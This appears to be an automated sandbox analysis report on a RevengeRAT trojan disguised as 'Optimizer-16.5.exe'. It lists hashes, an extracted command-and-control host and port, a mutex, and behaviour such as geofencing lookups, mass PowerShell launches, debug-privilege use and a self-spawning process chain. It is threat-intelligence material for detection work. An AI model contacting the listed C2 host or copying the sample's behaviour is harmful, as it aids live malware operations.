revengerat | dececde4bf14f513007b0d2989b77f66a004fc073c742b6d6e38d36a043cc042

Analysis

max time kernel
300s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 20:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Optimizer-16.5.exe
Size 1.1MB
Sample240511-yy2ansfc21
SHA256 dececde4bf14f513007b0d2989b77f66a004fc073c742b6d6e38d36a043cc042
MD5 1189fe3414a4b9c4a228745a21eb8ade
SHA1 885f92a53c1e990bee847f765b6cac90a5216dea
SHA512 51de1f053ef2f2cc396a205d76355c1a148fbf49f093287ab3d740de2616b95d3264d427a19c8aa2af9e5cba9c4899ae4bb0ef982386c18bb60cd1fb17040e15
SSDEEP 24576:F4PJsbumk/X/MKBDjaEzq66Q2gYdXvbMc1/x+8ZIV9ezeE/0/x4:qJok/X/MKBvaw6h9dXZ1/E8o9uey0O
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

revengerat vapev4 execution stealer trojan

Malware Config

Extracted

Family

revengerat

Botnet

VapeV4

rachelere-35477.portmap.host:35477

Mutex

RV_MUTEX-UHXJvbCGPPiCC

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/64-29-0x00000172F18E0000-0x00000172F18EA000-memory.dmp	revengerat

Blocklisted process makes network request 32 IoCs

flow	pid	Process
2	1636	powershell.exe
3	2960	powershell.exe
4	2784	powershell.exe
5	2792	powershell.exe
6	1148	powershell.exe
7	4772	powershell.exe
8	2912	powershell.exe
23	2408	powershell.exe
26	4656	powershell.exe
27	3788	powershell.exe
28	444	powershell.exe
29	4408	powershell.exe
30	3940	powershell.exe
31	2756	powershell.exe
32	640	powershell.exe
33	3592	powershell.exe
40	2080	powershell.exe
41	4184	powershell.exe
42	4684	powershell.exe
43	3156	powershell.exe
44	4772	powershell.exe
45	2656	powershell.exe
46	5104	powershell.exe
47	4876	powershell.exe
48	3036	powershell.exe
49	5072	powershell.exe
50	3660	powershell.exe
51	4396	powershell.exe
52	2424	powershell.exe
53	1988	powershell.exe
54	4020	powershell.exe
55	1880	powershell.exe

Checks computer location settings 2 TTPs 64 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Optimizer-16.5.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2656	powershell.exe
2712	powershell.exe
2004	powershell.exe
2908	powershell.exe
1636	powershell.exe
2784	powershell.exe
1300	powershell.exe
820	powershell.exe
3788	powershell.exe
2216	powershell.exe
720	powershell.exe
2724	powershell.exe
1100	powershell.exe
4684	powershell.exe
4420	powershell.exe
2384	powershell.exe
688	powershell.exe
2176	powershell.exe
5036	powershell.exe
2700	powershell.exe
2476	powershell.exe
4452	powershell.exe
2844	powershell.exe
4764	powershell.exe
1432	powershell.exe
212	powershell.exe
1548	powershell.exe
1576	powershell.exe
4772	powershell.exe
3100	powershell.exe
5040	powershell.exe
4020	powershell.exe
1852	powershell.exe
4656	powershell.exe
2716	powershell.exe
1036	powershell.exe
3488	powershell.exe
4316	powershell.exe
2656	powershell.exe
1644	powershell.exe
4168	powershell.exe
528	powershell.exe
396	powershell.exe
2264	powershell.exe
5036	powershell.exe
3660	powershell.exe
3000	powershell.exe
3060	powershell.exe
4408	powershell.exe
1256	powershell.exe
2064	powershell.exe
2756	powershell.exe
1408	powershell.exe
4232	powershell.exe
1636	powershell.exe
3332	powershell.exe
4012	powershell.exe
444	powershell.exe
3936	powershell.exe
4676	powershell.exe
4960	powershell.exe
2848	powershell.exe
2080	powershell.exe
4876	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
64	powershell.exe
64	powershell.exe
4480	powershell.exe
4480	powershell.exe
1636	powershell.exe
1636	powershell.exe
2960	powershell.exe
2960	powershell.exe
2784	powershell.exe
2784	powershell.exe
2792	powershell.exe
2792	powershell.exe
4452	powershell.exe
4452	powershell.exe
1148	powershell.exe
1148	powershell.exe
4772	powershell.exe
4772	powershell.exe
2844	powershell.exe
2844	powershell.exe
2040	powershell.exe
2040	powershell.exe
2912	powershell.exe
2912	powershell.exe
1888	powershell.exe
1888	powershell.exe
2408	powershell.exe
2408	powershell.exe
4656	powershell.exe
4656	powershell.exe
3788	powershell.exe
3788	powershell.exe
3932	powershell.exe
3932	powershell.exe
444	powershell.exe
444	powershell.exe
4608	powershell.exe
4608	powershell.exe
4408	powershell.exe
4408	powershell.exe
3592	powershell.exe
3592	powershell.exe
528	powershell.exe
528	powershell.exe
2444	powershell.exe
2444	powershell.exe
688	powershell.exe
688	powershell.exe
3940	powershell.exe
3940	powershell.exe
2756	powershell.exe
2756	powershell.exe
640	powershell.exe
640	powershell.exe
2480	powershell.exe
2480	powershell.exe
4796	powershell.exe
4796	powershell.exe
2216	powershell.exe
2216	powershell.exe
3060	powershell.exe
3060	powershell.exe
2176	powershell.exe
2176	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	64	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	444	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	528	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	688	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2504	2360	Optimizer-16.5.exe	84
PID 2360 wrote to memory of 2504	2360	Optimizer-16.5.exe	84
PID 2360 wrote to memory of 3956	2360	Optimizer-16.5.exe	85
PID 2360 wrote to memory of 3956	2360	Optimizer-16.5.exe	85
PID 3956 wrote to memory of 64	3956	cmd.exe	87
PID 3956 wrote to memory of 64	3956	cmd.exe	87
PID 2504 wrote to memory of 2540	2504	Optimizer-16.5.exe	88
PID 2504 wrote to memory of 2540	2504	Optimizer-16.5.exe	88
PID 2504 wrote to memory of 4888	2504	Optimizer-16.5.exe	89
PID 2504 wrote to memory of 4888	2504	Optimizer-16.5.exe	89
PID 2540 wrote to memory of 5056	2540	Optimizer-16.5.exe	91
PID 2540 wrote to memory of 5056	2540	Optimizer-16.5.exe	91
PID 2540 wrote to memory of 3788	2540	Optimizer-16.5.exe	92
PID 2540 wrote to memory of 3788	2540	Optimizer-16.5.exe	92
PID 4888 wrote to memory of 4480	4888	cmd.exe	94
PID 4888 wrote to memory of 4480	4888	cmd.exe	94
PID 3788 wrote to memory of 1636	3788	cmd.exe	95
PID 3788 wrote to memory of 1636	3788	cmd.exe	95
PID 5056 wrote to memory of 1036	5056	Optimizer-16.5.exe	96
PID 5056 wrote to memory of 1036	5056	Optimizer-16.5.exe	96
PID 5056 wrote to memory of 3236	5056	Optimizer-16.5.exe	97
PID 5056 wrote to memory of 3236	5056	Optimizer-16.5.exe	97
PID 3236 wrote to memory of 2960	3236	cmd.exe	99
PID 3236 wrote to memory of 2960	3236	cmd.exe	99
PID 1036 wrote to memory of 2420	1036	Optimizer-16.5.exe	100
PID 1036 wrote to memory of 2420	1036	Optimizer-16.5.exe	100
PID 1036 wrote to memory of 2644	1036	Optimizer-16.5.exe	101
PID 1036 wrote to memory of 2644	1036	Optimizer-16.5.exe	101
PID 2644 wrote to memory of 2784	2644	cmd.exe	103
PID 2644 wrote to memory of 2784	2644	cmd.exe	103
PID 2420 wrote to memory of 2676	2420	Optimizer-16.5.exe	104
PID 2420 wrote to memory of 2676	2420	Optimizer-16.5.exe	104
PID 2420 wrote to memory of 4940	2420	Optimizer-16.5.exe	105
PID 2420 wrote to memory of 4940	2420	Optimizer-16.5.exe	105
PID 4940 wrote to memory of 2792	4940	cmd.exe	107
PID 4940 wrote to memory of 2792	4940	cmd.exe	107
PID 2676 wrote to memory of 1456	2676	Optimizer-16.5.exe	108
PID 2676 wrote to memory of 1456	2676	Optimizer-16.5.exe	108
PID 2676 wrote to memory of 3484	2676	Optimizer-16.5.exe	109
PID 2676 wrote to memory of 3484	2676	Optimizer-16.5.exe	109
PID 3484 wrote to memory of 4452	3484	cmd.exe	111
PID 3484 wrote to memory of 4452	3484	cmd.exe	111
PID 1456 wrote to memory of 2504	1456	Optimizer-16.5.exe	112
PID 1456 wrote to memory of 2504	1456	Optimizer-16.5.exe	112
PID 1456 wrote to memory of 464	1456	Optimizer-16.5.exe	113
PID 1456 wrote to memory of 464	1456	Optimizer-16.5.exe	113
PID 464 wrote to memory of 1148	464	cmd.exe	115
PID 464 wrote to memory of 1148	464	cmd.exe	115
PID 2504 wrote to memory of 792	2504	Optimizer-16.5.exe	116
PID 2504 wrote to memory of 792	2504	Optimizer-16.5.exe	116
PID 2504 wrote to memory of 1308	2504	Optimizer-16.5.exe	117
PID 2504 wrote to memory of 1308	2504	Optimizer-16.5.exe	117
PID 1308 wrote to memory of 4772	1308	cmd.exe	119
PID 1308 wrote to memory of 4772	1308	cmd.exe	119
PID 792 wrote to memory of 2076	792	Optimizer-16.5.exe	120
PID 792 wrote to memory of 2076	792	Optimizer-16.5.exe	120
PID 792 wrote to memory of 4652	792	Optimizer-16.5.exe	121
PID 792 wrote to memory of 4652	792	Optimizer-16.5.exe	121
PID 4652 wrote to memory of 2844	4652	cmd.exe	123
PID 4652 wrote to memory of 2844	4652	cmd.exe	123
PID 2076 wrote to memory of 2696	2076	Optimizer-16.5.exe	124
PID 2076 wrote to memory of 2696	2076	Optimizer-16.5.exe	124
PID 2076 wrote to memory of 2960	2076	Optimizer-16.5.exe	125
PID 2076 wrote to memory of 2960	2076	Optimizer-16.5.exe	125

C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
"C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
  "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
    "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
      "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:5056
    - - C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1036
      - C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        6⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2420
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        7⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        8⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1456
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        9⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:792
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        11⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        12⤵
        Checks computer location settings
        
        PID:2696
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        13⤵
        
        PID:2544
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        14⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        15⤵
        
        PID:3960
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        16⤵
        Checks computer location settings
        
        PID:3612
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        17⤵
        Checks computer location settings
        
        PID:2168
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        18⤵
        Checks computer location settings
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        19⤵
        Checks computer location settings
        
        PID:4980
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        20⤵
        Checks computer location settings
        
        PID:1576
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        21⤵
        
        PID:5004
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        22⤵
        Checks computer location settings
        
        PID:2848
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        23⤵
        
        PID:1732
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        24⤵
        Checks computer location settings
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        25⤵
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        26⤵
        Checks computer location settings
        
        PID:2368
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        27⤵
        
        PID:1800
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        28⤵
        Checks computer location settings
        
        PID:3132
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        29⤵
        Checks computer location settings
        
        PID:3948
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        30⤵
        
        PID:4520
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        31⤵
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        32⤵
        Checks computer location settings
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        33⤵
        Checks computer location settings
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        34⤵
        
        PID:2404
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        35⤵
        Checks computer location settings
        
        PID:3316
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        36⤵
        
        PID:1148
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        37⤵
        Checks computer location settings
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        38⤵
        
        PID:2008
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        39⤵
        
        PID:3176
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        40⤵
